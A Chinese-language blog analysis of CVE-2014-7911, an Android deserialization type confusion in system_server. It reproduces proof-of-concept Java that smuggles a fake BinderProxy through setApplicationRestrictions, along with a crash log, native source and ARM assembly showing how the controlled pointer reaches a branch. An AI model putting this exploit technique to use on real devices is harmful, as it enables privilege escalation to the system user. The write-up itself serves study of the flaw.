漏洞分析
向system_server
传入不可序列化的android.os.BinderProxy
对象实例,其成员变量在反序列化时发生类型混淆,由于BinderProxy
的finalize()
包含native代码,于是在native代码执行时将成员变量强制转换为指针,注意到成员变量是攻击者可控的,攻击者可以控制该指针指向可控的地址空间,最终获得在system_server(uid=1000)
中执行代码的权限。
Java层分析
根据漏洞的PoC:
1.构建可序列化的恶意对象
创建AAdroid.os.BinderProxy对象,并将其放入Bundle数据中:
1 2 3
| Bundle b = new Bundle(); AAdroid.os.BinderProxy evilProxy = new AAdroid.os.BinderProxy() b.putSerializable("eatthis", evilProxy);
|
注意AAdroid.os.BinderProxy
是可序列化的,其成员变量mOrgue
就是用于改变程序执行流程的指针。该可序列化对象在传入system_server
之前将会被修改为不可序列化的Android.os.BinderProxy
对象:
1 2 3 4 5 6
| public class BinderProxy implements Serializable { private static final long serialVersionUID = 0; private int mObject = 0x1337beef; private int mOrgue = 0x1337beef; }
|
2.准备传入system_server
的数据
通过Java反射机制,获得android.os.IUserManager.Stub
和android.os.IUserManager.Stub.Proxy
的Class对象,最终获得跨进程调用system_server
的IBinder接口mRemote
,以及调用UserManager.setApplicationRestriction
函数的codeTRANSACTION_setApplicationRestrictions
,为与system_server
的跨进程Binder通信作准备。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| Class clIUserManager = Class.forName("android.os.IUserManager"); Class[] umSubclasses = clIUserManager.getDeclaredClasses(); System.out.println(umSubclasses.length+" inner classes found"); Class clStub = null; for (Class c: umSubclasses) { System.out.println("inner class: "+c.getCanonicalName()); if (c.getCanonicalName().equals("android.os.IUserManager.Stub")) { clStub = c; } }
Field fTRANSACTION_setApplicationRestrictions = clStub.getDeclaredField("TRANSACTION_setApplicationRestrictions"); fTRANSACTION_setApplicationRestrictions.setAccessible(true); TRANSACTION_setApplicationRestrictions = fTRANSACTION_setApplicationRestrictions.getInt(null);
UserManager um = (UserManager) ctx.getSystemService(Context.USER_SERVICE);
Field fService = UserManager.class.getDeclaredField("mService"); fService.setAccessible(true);
Object proxy = fService.get(um);
Class[] stSubclasses = clStub.getDeclaredClasses(); System.out.println(stSubclasses.length+" inner classes found"); clProxy = null; for (Class c: stSubclasses) { System.out.println("inner class: "+c.getCanonicalName()); if (c.getCanonicalName().equals("android.os.IUserManager.Stub.Proxy")) { clProxy = c; } }
Field fRemote = clProxy.getDeclaredField("mRemote"); fRemote.setAccessible(true);
mRemote = (IBinder) fRemote.get(proxy);
UserHandle me = android.os.Process.myUserHandle(); setApplicationRestrictions(ctx.getPackageName(), b, me.hashCode());
|
3.向system_server
传入不可序列化的Bundle参数
调用setApplicationRestrictions
这个函数,并传入之前打包了evilproxy
的Bundle对象作为参数。将该函数与Android源码中的setApplicationRestrictions函数对比,主要区别在于将传入的Bundle对象进行了修改,将可序列化的AAdroid.os.BinderProxy
对象修改为不可序列化的android.os.BinderProxy
对象,这样就把不可序列化的Bundle数据通过Binder跨进程调用,传入system_server
的android.os.UserManager.setApplicationRestrictions()
了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| public void setApplicationRestrictions(java.lang.String packageName, android.os.Bundle restrictions, int userHandle) throws android.os.RemoteException { android.os.Parcel _data = android.os.Parcel.obtain(); android.os.Parcel _reply = android.os.Parcel.obtain(); try { _data.writeInterfaceToken(DESCRIPTOR); _data.writeString(packageName); _data.writeInt(1); restrictions.writeToParcel(_data, 0); _data.writeInt(userHandle); byte[] data = _data.marshall(); for (int i=0; true; i++) { if (data[i] == 'A' && data[i+1] == 'A' && data[i+2] == 'd' && data[i+3] == 'r') { data[i] = 'a'; data[i+1] = 'n'; break; } } _data.recycle(); _data = Parcel.obtain(); _data.unmarshall(data, 0, data.length);
mRemote.transact(TRANSACTION_setApplicationRestrictions, _data, _reply, 0); _reply.readException(); } finally { _reply.recycle(); _data.recycle(); } }
|
将PoC安装到设备上,启动Activity后最小化,触发GC,引起Android系统重启,从Logcat日志中可以看到,system_server
执行到了之前设置的BinderProxy对象的0x1337beef这个值,访问不了该内存导致异常:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| I/badserial(19536): starting... (v3) I/System.out(19536): 1 inner classes found I/System.out(19536): inner class: android.os.IUserManager.Stub I/System.out(19536): 1 inner classes found I/System.out(19536): inner class: android.os.IUserManager.Stub.Proxy I/badserial(19536): waiting for boom here and over in the system service... E/UserManagerService(17929): Error writing application restrictions list I/Adreno-EGL(19536): <qeglDrvAPI_eglInitialize:320>: EGL 1.4 QUALCOMM Build: I0404c4692afb8623f95c43aeb6d5e13ed4b30ddbDate: 11/06/13 D/OpenGLRenderer(19536): Enabling debug mode 0 I/ActivityManager(17929): Displayed net.thejh.badserial/.MainActivity: +251ms D/dalvikvm(17929): GC_FOR_ALLOC freed 159K, 5% free 22258K/23376K, paused 21ms, total 21ms I/dalvikvm-heap(17929): Grow heap (frag case) to 22.581MB for 856096-byte allocation D/dalvikvm(17929): GC_FOR_ALLOC freed 2K, 5% free 23091K/24216K, paused 28ms, total 28ms F/libc (17929): Fatal signal 11 (SIGSEGV) at 0x1337bef3 (code=1), thread 17938 (FinalizerDaemon) D/dalvikvm(17929): GC_FOR_ALLOC freed 148K, 6% free 22944K/24216K, paused 25ms, total 25ms I/dalvikvm-heap(17929): Grow heap (frag case) to 23.250MB for 856096-byte allocation D/dalvikvm(17929): GC_FOR_ALLOC freed 0K, 6% free 23780K/25056K, paused 22ms, total 22ms I/DEBUG ( 173): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** I/DEBUG ( 173): Build fingerprint: 'unknown' I/DEBUG ( 173): Revision: '11' I/DEBUG ( 173): pid: 17929, tid: 17938, name: FinalizerDaemon >>> system_server <<< I/DEBUG ( 173): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 1337bef3 I/DEBUG ( 173): r0 1337beef r1 401e2551 r2 7469a210 r3 6d4a1cb4 I/DEBUG ( 173): AM write failure (32 / Broken pipe) I/DEBUG ( 173): r4 401e2551 r5 1337beef r6 71cda870 r7 1337beef I/DEBUG ( 173): r8 1337beef r9 74a4ff68 sl 7469a220 fp 74b4db24 I/DEBUG ( 173): ip 4021a8c8 sp 74b4dae8 lr 401e14f9 pc 4012f176 cpsr 200f0030 I/DEBUG ( 173): d0 0000010000000001 d1 6d49d43000000000 I/DEBUG ( 173): d2 0000000000000000 d3 0000000000000000 I/DEBUG ( 173): d4 0000000000000000 d5 0000000000000000 I/DEBUG ( 173): d6 0000000000000000 d7 42c800004bad7074 I/DEBUG ( 173): d8 0000000000000000 d9 0000000000000000 I/DEBUG ( 173): d10 0000000000000000 d11 0000000000000000 I/DEBUG ( 173): d12 0000000000000000 d13 0000000000000000 I/DEBUG ( 173): d14 0000000000000000 d15 0000000000000000 I/DEBUG ( 173): d16 0000000000000000 d17 0000000000000000 I/DEBUG ( 173): d18 0000000000000000 d19 0000000000000000 I/DEBUG ( 173): d20 0000000000000000 d21 0000004400000044 I/DEBUG ( 173): d22 0000000000000000 d23 0000000000000000 I/DEBUG ( 173): d24 0000000000000000 d25 0002a7600002a760 I/DEBUG ( 173): d26 0707070703030303 d27 0300000004000000 I/DEBUG ( 173): d28 0800000009000000 d29 0001000000010000 I/DEBUG ( 173): d30 010b400001088000 d31 01108000010e0000 I/DEBUG ( 173): scr 80000010 I/DEBUG ( 173): I/DEBUG ( 173): backtrace: I/DEBUG ( 173): #00 pc 0000d176 /system/lib/libutils.so (android::RefBase::decStrong(void const*) const+3) I/DEBUG ( 173): #01 pc 000704f5 /system/lib/libandroid_runtime.so I/DEBUG ( 173): #02 pc 0001decc /system/lib/libdvm.so (dvmPlatformInvoke+112) I/DEBUG ( 173): #03 pc 0004e423 /system/lib/libdvm.so (dvmCallJNIMethod(unsigned int const*, JValue*, Method const*, Thread*)+398) I/DEBUG ( 173): #04 pc 000272e0 /system/lib/libdvm.so I/DEBUG ( 173): #05 pc 0002e2a0 /system/lib/libdvm.so (dvmMterpStd(Thread*)+76) I/DEBUG ( 173): #06 pc 0002b938 /system/lib/libdvm.so (dvmInterpret(Thread*, Method const*, JValue*)+184) I/DEBUG ( 173): #07 pc 00060881 /system/lib/libdvm.so (dvmCallMethodV(Thread*, Method const*, Object*, bool, JValue*, std::__va_list)+336) I/DEBUG ( 173): #08 pc 000608a5 /system/lib/libdvm.so (dvmCallMethod(Thread*, Method const*, Object*, JValue*, ...)+20) I/DEBUG ( 173): #09 pc 0005558b /system/lib/libdvm.so I/DEBUG ( 173): #10 pc 0000d170 /system/lib/libc.so (__thread_entry+72) I/DEBUG ( 173): #11 pc 0000d308 /system/lib/libc.so (pthread_create+240)
|
Native层分析
如果对象可序列化,则反序列化时,其field引用的对象也会被反序列化。但PoC中android.os.BinderProxy
对象实例不可序列化,这样在ObjectInputStream反序列化android.os.BinderProxy
对象时,发生了类型混淆(type confusion),其field被当做随后由native代码处理的指针。这个field就是mOrgue成员变量。
android.os.BinderProxy
的finalize()
调用native代码,将mOrgue处理为指针。
代码清单 /frameworks/base/core/java/android/os/Binder.java
1 2 3 4 5 6 7 8
| protected void finalize() throws Throwable { try { destroy(); } finally { super.finalize(); } } private native final void destroy();
|
destroy的native代码:
代码清单 /frameworks/base/core/jni/android_util_Binder.cpp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| static void android_os_BinderProxy_destroy(JNIEnv* env, jobject obj) { IBinder* b = (IBinder*) env->GetIntField(obj, gBinderProxyOffsets.mObject); DeathRecipientList* drl = (DeathRecipientList*) env->GetIntField(obj, gBinderProxyOffsets.mOrgue);
LOGDEATH("Destroying BinderProxy %p: binder=%p drl=%p\n", obj, b, drl); env->SetIntField(obj, gBinderProxyOffsets.mObject, 0); env->SetIntField(obj, gBinderProxyOffsets.mOrgue, 0); drl->decStrong((void*)javaObjectForIBinder); b->decStrong((void*)javaObjectForIBinder); IPCThreadState::self()->flushCommands(); }
|
下面是RefBase
类中的decStrong
方法:
代码清单 /system/core/libutils/RefBase.cpp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| void RefBase::decStrong(const void* id) const { weakref_impl* const refs = mRefs; refs->removeStrongRef(id); const int32_t c = android_atomic_dec(&refs->mStrong); #if PRINT_REFS ALOGD("decStrong of %p from %p: cnt=%d\n", this, id, c); #endif ALOG_ASSERT(c >= 1, "decStrong() called on %p too many times", refs); if (c == 1) { refs->mBase->onLastStrongRef(id); if ((refs->mFlags&OBJECT_LIFETIME_MASK) == OBJECT_LIFETIME_STRONG) { delete this; } } refs->decWeak(id); }
|
汇编代码分析
下面看一下发生异常时最后调用的RefBase::decStrong
的汇编代码。将/system/lib/libutils.so
下载到本地用IDA打开,查看android::RefBase::decStrong
函数。(攻击者能控制r0
即this指针
)
对r0的使用是在decStrong()的前三行代码中:
1 2 3
| weak_impl* const refs = mRefs; refs->removeStrongRef(id); const int32_t c = android_atomic_dec(&refs->mStrong);
|
对应的汇编代码为:
1 2 3 4
| ldr r4, [r0, #4] mov r6, r1 mov r0, r4 blx <android_atomic_dec()>
|
r0
是drl
的this
指针,mRefs是虚函数表之后的第一个私有变量,因此mRefs
为r0+4
所指向的内容,即r4
为mRefs
。因为r0+4=0x1337beef+4
,0x1337bef3内存不可访问导致异常,即PoC引起系统重启的原因。
C++的对象所占的存储空间只有虚函数表+成员变量所占的空间,成员函数和普通函数一样,直接调用。
android_atomic_dec()
函数被调用,传入参数&refs->mStrong
,mStrong是refs的第一个成员变量,因为weakref_impl没有虚函数,所以没有虚函数表,因此r4
指向的内容即为mStrong
。
接着执行以下代码:
1 2 3
| if (c == 1) { refs->mBase->onLastStrongRefs(id); }
|
对应的汇编代码:
1 2 3 4 5 6 7
| cmp r0, #1 bne loc_d19c ldr r0, [r4, #8] mov r1, r6 ldr r3, [r0] ldr r2, [r3, #0xc] blx r2
|
注意,android_atomic_dec()
执行强引用计数减1,返回的是执行减1操作之前所指定的内存地址存放的值。为了执行refs->mBase->onLastStrongRef(id)
即blx r2
,攻击者需要使refs->mStrong
为1。
至此,可以得出攻击者要实现代码执行,需要满足如下条件:
1.drl
(即mOrgue
,第一个可控的指针,在进入decStrong
函数时的r0
)必须指向可读的内存区域;
2.refs->mStrong
必须为1;
3.refs->mBase->onLastStrongRef(id)
需要执行。并最终指向可执行的内存区域。
即满足如下伪代码:
1 2 3 4 5
| if (*(*(mOrgue+4)) == 1) { refs = *(mOrgue+4) r2 = *(*(*(refs+8))+12) blx r2 ----->获取控制权 }
|
为了成功获得任意代码执行,攻击者需要克服Android中的漏洞缓解技术:ASLR
和DEP
。可以使用堆喷射、堆栈转移(stack pivoting)和ROP等技术。
通过学习这种多种技术结合的Android系统漏洞,我发现自己欠缺的知识太多,其中随便一个知识点都够写一篇文章的了,不过也能惊喜的发现以前学过的知识说不定就用到了。
reference
cve-2014-7911安卓提权漏洞分析 by 小荷才露尖尖角